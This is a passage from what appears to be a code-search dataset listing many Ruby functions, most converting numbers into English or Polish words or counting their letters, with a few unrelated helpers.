numberString.join(' ')\n\nend", "def number_in_words(n,ending=nil)\n # It's probably the worst code in ruby I've ever written\n # It seems to work, but it definitely should not ;)\n n = n.to_i \n return '' if n.nil? or n == 0 \n sc = [''] + %w{jeden dwa trzy cztery pięć sześć siedem osiem dziewięć}\n sn = %w{dziesięć jedenaście dwanaście trzynaście czternaście piętnaście szesnaście siedemnaście osiemnaście dziewiętnaście}\n sd = ['',''] + %w{dwadzieścia trzydzieści czterdzieści pięćdziesiąt sześćdziesiąt siedemdziesiąt osiemdziesiąt dziewiędziesiąt sto}\n ss = [''] + %w{sto dwieście trzysta czterysta pięćset sześćset siedemset osiemset dziewięćset}\n b = (ending || ['','','']),%w{tysiąc tysiące tysięcy},%w{milion miliony milionów},%w{miliard miliardy miliardów},%w{bilion biliony bilionów} \n p = n.to_s.size \n return n if p > 15\n d,dn = n.to_s[0,(p%3 == 0 ? 3 : p%3)], n.to_s[(p%3 == 0 ? 3 : p%3)..-1]\n return \"#{d.to_i==0 ? '' : b[((p-1)/3.0).floor][0]} #{number_in_words(dn,ending)}\".strip if (d.to_i == 1 or d.to_i == 0 ) and n != 1\n r = ''\n (d.size-1).downto(0) do |i|\n r += ' ' unless r[-1] and r[-1].chr == ' '\n r += ss[d[-i-1].chr.to_i] if i == 2 \n d[-i-1].chr.to_i == 1 ? (r += sn[d[-i].chr.to_i]; d = d[0..-2]; break) : r += sd[d[-i-1].chr.to_i] if i == 1\n r += sc[d[-i-1].chr.to_i] if i == 0 \n end\n (2..4) === (d.to_i % 10) ? k=1 : k=2\n \"#{r.strip} #{b[((p-1)/3.0).floor][k]} #{number_in_words(dn.to_i,ending)}\".strip\n end", "def dewordify_upto_99(word_number)\n\tarray = word_number.split(' ')\n\n\tif @words.include?(word_number) # scenario for numbers up to 20\n\t\treturn @words.index(word_number)\n\telsif @tens.include?(array[0]) # scenario for numbers between 21 and 99\n\t\tif array.length == 1\n\t\t\treturn @tens.index(word_number) * 10\n\t\telse\n\t\t\treturn (@tens.index(array[0]) * 10) + @words.index(array[1])\n\t\tend\n\telse\n\t\treturn \"Too big\"\n\tend\nend", "def number_2_words(n)\n w2n = {\n 90 => \"ninety\",\n 80 => \"eighty\",\n 70 => \"seventy\",\n 60 => \"sixty\",\n 50 => \"fifty\",\n 40 => \"forty\",\n 30 => \"thirty\",\n 20 => \"twenty\",\n 19=>\"nineteen\",\n 18=>\"eighteen\",\n 17=>\"seventeen\", \n 16=>\"sixteen\",\n 15=>\"fifteen\",\n 14=>\"fourteen\",\n 13=>\"thirteen\", \n 12=>\"twelve\",\n 11 => \"eleven\",\n 10 => \"ten\",\n 9 => \"nine\",\n 8 => \"eight\",\n 7 => \"seven\",\n 6 => \"six\",\n 5 => \"five\",\n 4 => \"four\",\n 3 => \"three\",\n 2 => \"two\",\n 1 => \"one\",\n 0 =>''\n }\n return w2n[n.to_i] if n.to_i < 20\n return w2n[(n[0]+'0').to_i] + w2n[n[-1].to_i] if n.to_i<100\n return w2n[n[0].to_i] + 'hundred' + (n[1..-1].to_i > 0 ? \"and\" : \"\") + number_2_words(n[1..-1]) if n.to_i<1000\n return 'onethousand'\nend", "def in_words(num)\n hash = {0=> \"zero\",1=>\"one\",2=> \"two\", 3=> \"three\", 4=> \"four\", 5=> \"five\", 6=>\"six\", 7=>\"seven\", 8=>\"eight\", 9=> \"nine\", 10=> \"ten\", 11=> \"eleven\", 12 => \"twelve\", 13 => \"thirteen\", 14=> \"fourteen\", 15 => \"fifteen\", 16=> \"sixteen\", 17=>\"seventeen\", 18=> \"eighteen\", 19=> \"nineteen\", 20=> \"twenty\", 30=> \"thirty\", 40=> \"fourty\", 50=> \"fifty\", 60=> \"sixty\", 70=> \"seventy\", 80=> \"eighty\", 90=> \"ninety\", 100=> \"hundred\"}\n if hash.has_key?(num)\n hash[num]\n elsif num < 100\n hash[num - num % 10] + \" \" + hash[num % 10]\n else\n raise ArgumentError.new(\"Number not in the specified range\")\n end\n \nend", "def in_words(int)\n numbers_to_name = {\n 1000000 => \"Million\",\n 1000 => \"Thousand\",\n 100 => \"Hundred\",\n 90 => \"Ninety\",\n 80 => \"Eighty\",\n 70 => \"Seventy\",\n 60 => \"Sixty\",\n 50 => \"Fifty\",\n 40 => \"Forty\",\n 30 => \"Thirty\",\n 20 => \"Twenty\",\n 19 => \"Nineteen\",\n 18 => \"Eighteen\",\n 17 => \"Seventeen\",\n 16 => \"Sixteen\",\n 15 => \"Fifteen\",\n 14 => \"Fourteen\",\n 13 => \"Thirteen\",\n 12 => \"Twelve\",\n 11 => \"Eleven\",\n 10 => \"Ten\",\n 9 => \"Nine\",\n 8 => \"Eight\",\n 7 => \"Seven\",\n 6 => \"Six\",\n 5 => \"Five\",\n 4 => \"Four\",\n 3 => \"Three\",\n 2 => \"Two\",\n 1 => \"One\"\n }\n str = \"\"\n numbers_to_name.each do |num, name|\n if int == 0\n return str\n elsif int.to_s.length == 1 && int/num > 0\n return str + \"#{name}\"\n elsif int < 100 && int/num > 0\n return str + \"#{name}\" if int%num == 0\n return str + \"#{name}\" + in_words(int%num)\n elsif int/num > 0\n return str + in_words(int/num) + \"#{name}\" + in_words(int%num)\n end\n end\n end", "def to_words\n if is_a? Integer\n num = self\n else\n num = self.to_i\n end\n\n if (n = num.to_s.size) > 102\n return \"more than a googol! (#{n} digits)\"\n end\n\n whole_thing = []\n\n triplets = num.commatize.split(',')\n num_triplets = triplets.size\n\n triplets.each_with_index do |triplet, i|\n next if triplet.to_i == 0\n\n result = []\n\n tens, hunds = nil, nil\n\n digits = triplet.chars.to_a\n\n raise \"Error: Not a triplet: #{triplet}\" if digits.size > 3 or digits.size < 1\n\n if digits.size == 3\n digit = digits.shift.to_i\n hunds = NAMES_SMALL[digit] + \"-hundred\" if digit > 0\n digits.shift if digits.first == '0'\n end\n\n if digits.size == 2\n n = digits.join('').to_i\n\n if n > 0 and n < 20\n tens = NAMES_SMALL[n]\n elsif n > 0\n tens = NAMES_MEDIUM[digits.shift.to_i - 2]\n if digits.first != '0'\n tens += \"-\" + NAMES_SMALL[digits.shift.to_i]\n else\n digits.shift\n end\n end\n end\n\n if digits.size == 1\n n = digits.join('').to_i\n tens = NAMES_SMALL[n] if n > 0\n end\n\n if hunds\n if tens\n result << \"#{hunds} and #{tens}\"\n else\n result << hunds\n end\n else\n result << tens if tens\n end\n\n magnitude = (num_triplets - i)\n result << NAMES_LARGE[magnitude-2] if magnitude > 1\n\n whole_thing << result.join(' ') if result.any?\n end\n\n whole_thing.join ', '\n end", "def to_words(number)\n negative = false\n written_out = \"\"\n dictionary = {\n 0 => \"zero\",\n 1 => \"one\",\n 2 => \"two\",\n 3 => \"three\",\n 4 => \"four\",\n 5 => \"five\",\n 6 => \"six\",\n 7 => \"seven\",\n 8 => \"eight\",\n 9 => \"nine\",\n 10 => \"ten\",\n 11 => \"eleven\",\n 12 => \"twelve\",\n 13 => \"thirteen\",\n 14 => \"fourteen\",\n 15 => \"fifteen\",\n 16 => \"sixteen\",\n 17 => \"seventeen\",\n 18 => \"eighteen\",\n 19 => \"nineteen\",\n 20 => \"twenty\",\n 30 => \"thirty\",\n 40 => \"forty\",\n 50 => \"fifty\",\n 60 => \"sixty\",\n 70 => \"seventy\",\n 80 => \"eighty\",\n 90 => \"ninety\",\n 100 => \"hundred\",\n 1_000 => \"thousand\",\n 1_000_000 => \"million\",\n 1_000_000_000 => \"billion\",\n 1_000_000_000_000 => \"trillion\"\n }\n\n if number < 0\n negative = true\n number *= -1\n end\n if number <= 20\n written_out = dictionary[number]\n elsif number < 100\n digits = number.divmod(10)\n written_out = dictionary[digits[0] * 10]\n written_out.concat(digits[1] == 0 ? \"\" : \"-#{to_words(digits[1])}\")\n elsif number < 1_000\n digits = number.divmod(100)\n written_out = \"#{dictionary[digits[0]]} #{dictionary[100]}\"\n written_out.concat(digits[1] == 0 ? \"\" : \" and #{to_words(digits[1])}\")\n elsif number < 1_000_000\n digits = number.divmod(1_000)\n written_out = \"#{to_words(digits[0])} #{dictionary[1_000]}\"\n written_out.concat(digits[1] == 0 ? \"\" : \", #{to_words(digits[1])}\")\n elsif number < 1_000_000_000\n digits = number.divmod(1_000_000)\n written_out = \"#{to_words(digits[0])} #{dictionary[1_000_000]}\"\n written_out.concat(digits[1] == 0 ? \"\" : \", #{to_words(digits[1])}\")\n elsif number < 1_000_000_000_000\n digits = number.divmod(1_000_000_000)\n written_out = \"#{to_words(digits[0])} #{dictionary[1_000_000_000]}\"\n written_out.concat(digits[1] == 0 ? \"\" : \", #{to_words(digits[1])}\")\n else 1_000_000_000_000\n digits = number.divmod(1_000_000_000_000)\n written_out = \"#{to_words(digits[0])} #{dictionary[1_000_000_000_000]}\"\n written_out.concat(digits[1] == 0 ? \"\" : \", #{to_words(digits[1])}\")\n end\n\n if negative\n written_out = \"negative \".concat(written_out)\n end\n\n written_out\nend", "def numberInWords (numVal)\n\t\ttotalNoOfDigits = (numVal.to_i.to_s).length\n\t\tquad = numVal.to_i\n\t\tnumValStr = \"\"\n\t\twhile quad > 0 do\n\t\t\tquadDigits = (quad.to_s).length\n\t\t\tcurrentUnit = 10 ** (totalNoOfDigits - quadDigits)\n\t\t\tcurrStr = nil\n\t\t\tcurrStr = getThreeDigitNumberStr((quad%1000))\n\t\t\tquad = quad/1000\n\t\t\tunless currStr.blank?\n\t\t\t\tcurrStr = currStr + \" \" + (currentUnit == 1 ? \"\" : getNumberAsStr[currentUnit])\n\t\t\t\tnumValStr = numValStr.blank? || currStr.blank? ? currStr + numValStr : currStr + \"\" + numValStr\n\t\t\tend\n\t\tend\n\t\tnumValStr.lstrip.capitalize\n\tend", "def number_words\n { 10 => 'Ten', 9 => 'Nine', 8 => 'Eight', 7 => 'Seven', 6 => 'Six', 5 => 'Five', 4 => 'Four', 3 => 'Three', 2 => 'Two', 1 => 'One' }\nend", "def number_letters(number)\n\nsingles = ['one', 'two', 'three', 'four', 'five', 'six', 'seven', 'eight', 'nine']\n\nteens = ['eleven', 'twelve', 'thirteen', 'fourteen', 'fifteen', 'sixteen', 'seventeen', 'eighteen', 'nineteen']\n\ntens = ['ten', 'twenty', 'thirty', 'forty', 'fifty', 'sixty', 'seventy', 'eighty', 'ninety']\nnumber_word = nil\n if number == 1000\n return 'one thousand'\n elsif number >= 100 && number < 1000\n hundreds_digit = number / 100\n remainder = number % 100\n if remainder == 0\n number_word = singles[hundreds_digit - 1] + ' hundred'\n else\n number_word = singles[hundreds_digit - 1] + ' hundred and ' + \"#{number_letters(remainder)}\"\n end\n elsif number >= 20 && number <= 99\n tens_digit = number / 10\n remainder = number % 10\n if remainder == 0\n number_word = tens[tens_digit - 1]\n else\n number_word = tens[tens_digit - 1] + '-' + singles[remainder - 1]\n end\n elsif number >= 11 && number <= 19\n remainder = number % 10\n number_word = teens[remainder - 1]\n elsif number == 10\n return 'ten'\n else\n number_word = singles[number - 1]\n end\nnumber_word\nend", "def word_number_length(number)\n\treturn wordify(number).delete(' ').length\nend", "def return_word number\n small = %w(zero one two three four five six seven eight nine ten eleven twelve\n thirteen fourteen fifteen sixteen seventeen eighteen nineteen twenty)\n large = %w(zero ten twenty thirty forty fifty sixty seventy eighty ninety)\n\n if number <= 20\n return small[number]\n elsif number > 20 and number < 100\n q, r = number.divmod(10)\n string = large[q] + (r == 0 ? '' : small[r])\n return string\n elsif number >= 100 and number < 1000\n q, r = number.divmod(100)\n string = small[q] + ' hundred'\n string += ' and ' + return_word(r) if r > 0\n return string\n else\n return 'one thousand'\n end\nend", "def in_words(int)\n numbers_to_name = {\n 1000000 => \"million\",\n 1000 => \"thousand\",\n 100 => \"hundred\",\n 90 => \"ninety\",\n 80 => \"eighty\",\n 70 => \"seventy\",\n 60 => \"sixty\",\n 50 => \"fifty\",\n 40 => \"forty\",\n 30 => \"thirty\",\n 20 => \"twenty\",\n 19=>\"nineteen\",\n 18=>\"eighteen\",\n 17=>\"seventeen\",\n 16=>\"sixteen\",\n 15=>\"fifteen\",\n 14=>\"fourteen\",\n 13=>\"thirteen\",\n 12=>\"twelve\",\n 11 => \"eleven\",\n 10 => \"ten\",\n 9 => \"nine\",\n 8 => \"eight\",\n 7 => \"seven\",\n 6 => \"six\",\n 5 => \"five\",\n 4 => \"four\",\n 3 => \"three\",\n 2 => \"two\",\n 1 => \"one\"\n }\n str = \"\"\n numbers_to_name.each do |num, name|\n if int == 0\n return str\n elsif int.to_s.length == 1 && int/num > 0\n return str + \"#{name}\"\n elsif int < 100 && int/num > 0\n return str + \"#{name}\" if int%num == 0\n return str + \"#{name} \" + in_words(int%num)\n elsif int/num > 0\n return str + in_words(int/num) + \" #{name} \" + in_words(int%num)\n end\n end\n end", "def wordify(number)\n\t# for numbers less than 100\n\tif number < 100\n\t\tword = wordify_upto_99(number)\n\n\t# numbers 100 to 999\n\telsif number < 1000\n\t\t# get first digit and turn into \"hundreds\" e.g. \"two hundred...\"\n\t\tfirst = @words[number.to_s.slice(0).to_i]\n\n\t\t# get the hundreds part\n\t\tif number.to_s.slice(1,2) == \"00\"\n\t\t\tsecond_part = \"\"\n\t\telse\n\t\t\tsecond_part = \" and \" + wordify_upto_99(number.to_s.slice(1,2).to_i)\n\t\tend\n\n\t\t# put it all together\n\t\tword = first + \" hundred\" + second_part\n\t\n\t# final number could be one thousand\n\telse\n\t\tword = \"one thousand\"\n\tend\n\n\treturn word\nend", "def wordify_upto_99(number)\n\t# deal with the numbers 20 and under, straight from array\n\tif number < 21\n\t\tword = @words[number]\n\n\t# numbers 21 to 99, need to split and take from \"@tens\" array first digit\n\telsif number < 100\n\t\tfirst = @tens[number.to_s.slice(0).to_i]\n\t\tif number.to_s.slice(1) == \"0\"\n\t\t\tsecond = \"\"\n\t\telse\n\t\t\tsecond = @words[number.to_s.slice(1).to_i]\n\t\tend\n\t\tword = first + \" \" + second\n\telse\n\t\treturn \"Number greater than 100! Not allowed with this method\"\n\tend\n\treturn word\nend", "def small_word_to_num(number)\n ones = {0=>0, 1=>3, 2=>3, 3=>5, 4=>4, 5=>4, 6=>3, 7=>5, 8=>5, 9=>4, 10=>3, 11=>3, 12=>6, 13=>8, 14=>8, 15=>7, 16=>7, 17=>9, 18=>8, 19=>8}\n tens = {0=>0, 1=>0, 2=>6, 3=>6, 4=>5, 5=>5, 6=>5, 7=>7, 8=>6, 9=>6}\n \n\n count = 0\n\n if number < 20\n return ones[number]\n else number < 99\n return tens[number/10] + ones[number%10]\n end\n\nend", "def seventeen\n acc = 0\n for i in 1..1000\n acc = acc + count_letters(read_numbers(i))\n end\n\n return acc\nend", "def find_hundreds (n)\n words =\"\"\n num_words = Hash.new(0)\n num_words = {1=>\"One\",2=>\"Two\",3=>\"Three\",4=>\"Four\",5=>\"Five\",6=>\"Six\",7=>\"Seven\",8=>\"Eight\",9=>\"Nine\",10=>\"Ten\",11=>\"Eleven\",12=>\"Twelve\",13=>\"Thirteen\",14=>\"Fourteen\",15=>\"Fifteen\",16=>\"Sixteen\",17=>\"Seventeen\",18=>\"Eighteen\",19=>\"Nineteen\",20=>\"Twenty\",30=>\"Thirty\",40=>\"Fourty\",50=>\"Fifty\",60=>\"Sixty\",70=>\"Seventy\",80=>\"Eighty\",90=>\"Ninety\"}\n\n if n/100 > 0\n # Append the String you get to the string that holds the words\n words = num_words[n/100] +\" Hundred \"\n if n%10 !=0\n words= words + \"and \"\n end\n n=n%100\n end\n\n if n/10 > 0\n if n/10 == 1\n words = words+num_words[n]+ \" \"\n elsif n%10 == 0\n words = words +num_words[n]\n else\n words = words +num_words[n/10*10] +\" \"+ num_words[n%10]\n end\n elsif n == 0\n words\n else\n words = words +num_words[n]\n end\n words\nend", "def hundreds_english(n)\n\t# 0 < n < 1000\n\treturn \"invalid\" if n < 1 || n > 999\n\tn_english = \"\"\n\tdigit_words = [\"zero\", \"one\", \"two\", \"three\", \"four\", \"five\", \"six\", \"seven\",\n\t\t\t\t\t\"eight\", \"nine\"]\n\ttens_words = [nil, nil, \"twenty\", \"thirty\", \"forty\", \"fifty\", \"sixty\",\n\t\t\t\t\t\"seventy\", \"eighty\", \"ninety\"]\n\tteens_words = [\"ten\", \"eleven\", \"twelve\", \"thirteen\", \"fourteen\", \"fifteen\",\n\t\t\t\t\t\"sixteen\", \"seventeen\", \"eighteen\", \"nineteen\"]\n\thundreds_place = n / 100\n\ttens_place = (n % 100) / 10\n\tones_place = n % 10\n\tif hundreds_place > 0\n\t\tn_english << \"#{digit_words[hundreds_place]} hundred\" \n\t\tn_english << \" and \" if n % 100 > 0\n\tend\n\tif tens_place == 1\n\t\tn_english << \"#{teens_words[ones_place]}\" \n\telse\n\t\tif tens_place > 1\n\t\t\tn_english << \"#{tens_words[tens_place]}\"\n\t\t\tn_english << \"-\" if ones_place > 0\n\t\tend\n\t\tn_english << \"#{digit_words[ones_place]}\" if ones_place > 0\n\tend\n\tn_english\nend", "def in_many_words\n (self % magnitude == 0) ? multiple_of_magnitude_in_words : long_number_in_words\n end", "def in_words(int)\n ones = [\"one\", \"two\", \"three\", \"four\", \"five\", \"six\", \"seven\", \"eight\", \"nine\", \"ten\", \"eleven\", \"twelve\", \"thirteen\", \"fourteen\", \"fifteen\", \"sixteen\", \"seventeen\", \"eighteen\", \"nineteen\"]\n tens = [\"twenty\", \"thirty\", \"forty\", \"fifty\", \"sixty\", \"seventy\", \"eighty\", \"ninety\"]\n if int < 19\n return ones[int-1]\n elsif int < 100\n return tens[int/10-2] + \" \" + ones[int%10-1]\n elsif int%10 == 0\n return ones[int/100-1] + \" hundred\"\n else\n return ones[int/100-1] + \" hundred \" + in_words(int%100)\n end\nend", "def words(number: T.unsafe(nil), supplemental: T.unsafe(nil), spaces_allowed: T.unsafe(nil)); end", "def count_chars(n)\n return THOUSAND if n == 1_000\n total = 0\n if n >= 100\n total += ONES[n/100] + HUNDRED\n total += AND unless n%100 == 0\n n %= 100\n end\n (total += TEENS[n]; return total) if n > 10 && n < 20\n (total += TENS[n/10]; n %= 10) if n >= 10\n total += ONES[n] if n > 0\n total\nend", "def count_letters(word)\r\n\r\n end", "def in_words(integer)\n nums_to_words = {\n 1 => \"one\",\n 2 => \"two\",\n 3 => \"three\",\n 4 => \"four\",\n 5 => \"five\",\n 6 => \"six\",\n 7 => \"seven\",\n 8 => \"eight\",\n 9 => \"nine\",\n 10 => \"ten\",\n 11 => \"eleven\",\n 12 => \"twelve\",\n 13 => \"thirteen\",\n 14 => \"fourteen\",\n 15 => \"fifteen\",\n 16 => \"sixteen\",\n 17 => \"seventeen\",\n 18 => \"eighteen\",\n 19 => \"nineteen\",\n 20 => \"twenty\",\n 30 => \"thirty\",\n 40 => \"fourty\",\n 50 => \"fifty\",\n 60 => \"sixty\",\n 70 => \"seventy\",\n 80 => \"eighty\",\n 90 => \"ninety\",\n 100 => \"one hundred\",\n 1000 => \"one thousand\"\n }\n \n if nums_to_words.include? (integer)\n nums_to_words[integer]\n elsif\n int_arr = integer.to_s.chars\n if int_arr.length == 3 && int_arr[1] == \"1\" || int_arr[2] == \"0\"\n second_word = int_arr.pop(2).join.to_i\n first_word = int_arr.pop.to_i\n p nums_to_words[first_word] + \" hundred \" + nums_to_words[second_word]\n elsif int_arr.length == 3\n third_word = int_arr.pop.to_i\n second_word = int_arr.pop.chars.push(\"0\").join.to_i\n first_word = int_arr.pop.to_i\n p nums_to_words[first_word] + \" hundred \" + nums_to_words[second_word] + \" \" + nums_to_words[third_word]\n elsif \n second_word = int_arr.pop.to_i\n first_word = int_arr.push(\"0\").join.to_i\n p nums_to_words[first_word] + \" \" + nums_to_words[second_word]\n end\n end\nend", "def number_to_word(number)\n return \"one thousand\" if number == 1000\n\n word = \"\"\n number_string = number.to_s\n\n if number_string.size == 1\n return Words[number]\n end\n\n if number_string.size == 2\n if Words.keys.include?(number)\n return Words[number]\n else\n word += TensDigitWord[number_string[0].to_i]\n word += '-'\n word += Words[number_string[1].to_i]\n end\n end\n\n if number_string.size == 3\n word += Words[ number_string[0].to_i ]\n word += ' hundred'\n\n last_two_digits = number_string[1..2].to_i\n\n if last_two_digits > 0\n word += ' and '\n\n # similar logic as size 2 number\n if Words.keys.include?(last_two_digits)\n word += Words[last_two_digits]\n else\n word += TensDigitWord[number_string[1].to_i]\n word += '-'\n word += Words[number_string[2].to_i]\n end\n end\n end\n\n word\nend", "def words_that_contain(letter)\n letter_count(letter)\n end", "def thousandsWordOf numZeros\n # this number is useful in determining the thousand-word\n\tnumThousands = numZeros / 3 - 1;\n\n # overwhelmed, right? This is nothing, wait till you see latinRoots\n\tcase (numThousands)\n\twhen 0\n \treturn 'thousand';\n\twhen 1\n\t\treturn 'million';\n\twhen 2\n\t\treturn 'billion';\n\twhen 3\n\t\treturn 'trillion';\n\twhen 4\n\t\treturn 'quadrillion';\n\twhen 5\n\t\treturn 'quintillion';\n\twhen 6\n\t\treturn 'sextillion';\n\twhen 7\n\t\treturn 'septillion';\n\twhen 8\n\t\treturn 'octillion';\n\twhen 9\n\t\treturn 'nonillion';\n\n\twhen 10\n\t\treturn 'decillion';\n\twhen 20\n\t\treturn 'vigintillion';\n\twhen 30\n\t\treturn 'trigintillion';\n\twhen 40\n\t\treturn 'qradragintillion';\n\twhen 50\n\t\treturn 'quinquagintillion';\n\twhen 60\n\t\treturn 'sexagintillion';\n\twhen 70\n\t\treturn 'septagintillion';\n\twhen 80\n\t\treturn 'octogintillion';\n\twhen 90\n\t\treturn 'nonagintillion';\n\twhen 100\n\t\treturn 'centillion';\n\n\telse # if the number of zeros is not a tens or less than ten\n latinRoots = ['un', 'duo', 'tre', 'quattuor', 'quin',\n 'sex', 'septen', 'octo', 'novem']\n\t\tif numThousands > 10 # in case numThousands is -1 or smaller\n\t\t\t# the first part is the ones place, the second the tens place\n\t\t\t# the second part needs to be converted back to numZeros instead of\n\t\t\t# numThousands\n # the \"- 1\" is because latinRoots[5] is 'sex', not 'quin'\n\t\t\treturn latinRoots[numThousands % 10 - 1] +\n thousandsWordOf(numThousands / 10 * 30 + 3);\n # NOTE: if numThousands >= 110 (numZeros > 333) this will be stuck in\n # infinite recursion\n\t\tend\n\n\t\treturn ''; # if none apply\n\tend\nend", "def number_to_words(number)\n string_number = number.to_s\n p string_number\n\n return 'zero' if number.zero?\n\n single_digit_numbers = {'1'=>\"one\",'2'=>\"two\",'3'=>\"three\",'4'=>\"four\",\n '5'=>\"five\",'6'=>\"six\",'7'=>\"seven\",'8'=>\"eight\",'9'=>\"nine\"}\n double_digit_numbers = {'10'=>\"ten\",'11'=>\"eleven\",'12'=>\"twelve\",'13'=>\"thirteen\",'14'=>\"fourteen\",\n '15'=>\"fifteen\",'16'=>\"sixteen\",'17'=>\"seventeen\", '18'=>\"eighteen\",'19'=>\"nineteen\"}\n\n ten_digits = {'2' => 'twenty', '3' => 'thirty', '4' => 'forty', '5' => 'fifty',\n '6' => 'sixty', '7' => 'seventy', '8' => 'eighty', '9' => 'ninety'}\n\n hundred = 'hundred'\n\n case number\n when 10..19\n return double_digit_numbers[string_number]\n when 20..99\n return ten_digits[string_number[0]] + \"-\" + single_digit_numbers[string_number[1]]\n when 99..999\n if double_digit_numbers.include?(string_number[-2,2])\n return single_digit_numbers[string_number[0]] + \" \" + hundred + \" and \" + double_digit_numbers[string_number[-2,2]]\n # for 3 digit numbers, checking if the last two digits are in the double_digit_numbers hash\n elsif string_number[1] == '0' && string_number[2] == '0'\n return single_digit_numbers[string_number[0]] + \" \" + hundred\n end\n else\n return single_digit_number[string_number]\n end\nend", "def number_letter_count(n)\n\ttotal = 0\n\tn.times do |i|\n\t\t# puts wordify(i+1) # uncomment if you want to print out the numbers\n\t\ttotal += word_number_length(i+1)\n\tend\n\treturn total\nend", "def into_words(num)\n ones = [\"one\", \"two\", \"three\", \"four\", \"five\", \"six\", \"seven\", \"eight\", \"nine\"]\n teens = [\"eleven\", \"twelve\", \"thirteen\", \"fourteen\", \"fifteen\", \"sixteen\", \"seventeen\", \"eighteen\", \"nineteen\"]\n tens = [\"ten\", \"twenty\", \"thirty\", \"forty\", \"fifty\", \"sixty\", \"seventy\", \"eighty\", \"ninety\"]\n\n if num == 0\n return \"zero\"\n elsif num % 10 == 0 && num < 100\n return tens[(num / 10) - 1]\n elsif num < 20\n return teens[(num - 10) - 1] if num > 10\n return ones[(num - 1)]\n end\n\n tens_place = num.to_s[0].to_i - 1\n ones_place = num.to_s[1].to_i - 1\n return \"#{tens[tens_place]}-#{ones[ones_place]}\"\nend", "def englishNumberOf number\n\n if number == 0\n return 'zero'\n end\n\n # database (database for thousands numbers is in helper method)\n onesPlaces = ['one', 'two', 'three', 'four', 'five',\n 'six', 'seven', 'eight', 'nine']\n tensPlaces = ['ten', 'twenty', 'thirty', 'forty', 'fifty',\n 'sixty', 'seventy', 'eighty', 'ninety']\n teenagers = ['eleven', 'twelve', 'thirteen', 'fourteen', 'fifteen',\n 'sixteen', 'seventeen', 'eighteen', 'nineteen']\n\n # englishNum is the string we will return.\n if number < 0\n englishNum = 'negative '\n # make number positive so that when converted to sting,\n # all characters are digits\n number = -number\n else\n englishNum = ''\n end\n\n strNum = number.to_s # convert to string for easy access of digits\n length = strNum.length # save length so we don't have to find it every time\n\n # write from largest to smallest digit (left to right)\n i = 0 # we will work on the ith digit (counting from zero)\n while i < length\n\n digit = strNum[i].to_i\n\n case (i - length) % 3 # used to sort between ones, tens, and hundreds\n\n when 2 # ones digit don't ask me why\n if digit > 0 # only do anything if there is a ones digit\n # The \"- 1\" is because onesPlaces[3] is 'four', not 'three'.\n englishNum += onesPlaces[digit - 1]\n end\n\n # only add thousands number if at least one of the last three digits\n # wasn't 0 (don't need to worry about nil)\n # and this is not the last digit\n if (digit > 0 || strNum[i - 1] != '0' || strNum[i - 2] != '0') &&\n i != length - 1\n englishNum += ' ' + thousandsWordOf(length - i - 1) + ' '\n end\n\n when 1 # tens digit don't ask me why\n if digit > 0 # only do anything if there is a tens digit\n # Since we can't write \"tenty-two\" instead of \"twelve\",\n # we have to make a special exception for these.\n if ((digit == 1) && (strNum[i + 1] != '0')) # next digit not 0\n # The \"-1\" is because teenagers[3] is 'fourteen', not 'thirteen'.\n englishNum += teenagers[strNum[i + 1].to_i - 1]\n # Since we took care of the digit in the ones place already,\n # we have nothing left to write in the next digit\n strNum[i + 1] = '0'\n else\n # The \"-1\" is because tensPlaces[3] is 'forty', not 'thirty'.\n englishNum += tensPlaces[digit - 1]\n end\n if strNum[i + 1] != '0' # So we don't write 'sixtyfour'...\n englishNum += '-'\n end\n end\n\n when 0 # hundreds digit don't ask me why\n if digit > 0\n # The \"- 1\" is because onesPlaces[3] is 'four', not 'three'.\n englishNum += onesPlaces[digit - 1] + ' hundred'\n # So we don't write 'two hundredfifty-one' or 'two hundredone'...\n if strNum[i + 1] != '0' || strNum[i + 2] != '0'\n englishNum += ' '\n end\n end\n\n else\n puts 'Error: i % 3 out of range'\n end # end case statement\n\n i += 1\n end # end while loop\n\n return englishNum\nend", "def words(n)\n str = ''\n\n # process < 100\n if n.zero? || n < 20\n str = Words[n]\n else\n d, n = n / 10, n % 10\n str = Words[d*10]\n str += '-' + Words[n] unless n.zero?\n end\n \n str\n end", "def in_words_group\n if self < 100\n self.in_words_under_100\n else\n self.in_words_3_digits\n end\n end", "def score_in_words\n case score*10\n when 0..4 \n \"Sad\"\n when 4..7\n \"Meh\"\n when 7..9\n \"Good\"\n when 9..10\n \"Great\"\n else \"Unknown\"\n end\n end", "def number_to_words( num, config )\n\t\treturn [config[:zero]] if num.to_i.zero?\n\t\tchunks = []\n\n\t\t# Break into word-groups if groups is set\n\t\tif config[:group].nonzero?\n\n\t\t\t# Build a Regexp with <config[:group]> number of digits. Any past\n\t\t\t# the first are optional.\n\t\t\tre = Regexp::new( \"(\\\\d)\" + (\"(\\\\d)?\" * (config[:group] - 1)) )\n\n\t\t\t# Scan the string, and call the word-chunk function that deals with\n\t\t\t# chunks of the found number of digits.\n\t\t\tnum.to_s.scan( re ) {|digits|\n\t\t\t\tdebug_msg \" digits = #{digits.inspect}\"\n\t\t\t\tfn = NumberToWordsFunctions[ digits.size ]\n\t\t\t\tnumerals = digits.flatten.compact.collect {|i| i.to_i}\n\t\t\t\tdebug_msg \" numerals = #{numerals.inspect}\"\n\t\t\t\tchunks.push fn.call( config[:zero], *numerals ).strip\n\t\t\t}\n\t\telse\n\t\t\tphrase = num.to_s\n\t\t\tphrase.sub!( /\\A\\s*0+/, '' )\n\t\t\tmill = 0\n\n\t\t\t# Match backward from the end of the digits in the string, turning\n\t\t\t# chunks of three, of two, and of one into words.\n\t\t\tmill += 1 while\n\t\t\t\tphrase.sub!( /(\\d)(\\d)(\\d)(?=\\D*\\Z)/ ) {\n\t\t\t\t\twords = to_hundreds( $1.to_i, $2.to_i, $3.to_i, mill, \n\t\t\t\t\t\t\t\t\t\t config[:and] )\n\t\t\t\t\tchunks.unshift words.strip.squeeze(' ') unless words.nil?\n\t\t\t\t\t''\n\t\t\t\t}\t\t\t\t\n\n\t\t\tphrase.sub!( /(\\d)(\\d)(?=\\D*\\Z)/ ) {\n\t\t\t\tchunks.unshift to_tens( $1.to_i, $2.to_i, mill ).strip.squeeze(' ')\n\t\t\t\t''\n\t\t\t}\n\t\t\tphrase.sub!( /(\\d)(?=\\D*\\Z)/ ) {\n\t\t\t\tchunks.unshift to_units( $1.to_i, mill ).strip.squeeze(' ')\n\t\t\t\t''\n\t\t\t}\n\t\tend\n\n\t\treturn chunks\n\tend", "def term_acceptable(t)\n if t.length < 3\n return false # too short, unacceptable\n elsif @stopwords.include?(t)\n return false # stopword, unacceptable\n else\n if (t =~ /\\d/) != 0\n return true # doesn't start with digit, acceptable\n else\n return 10*t.scan(/\\d/).length < 4*t.length # < 40% digits, acceptable\n 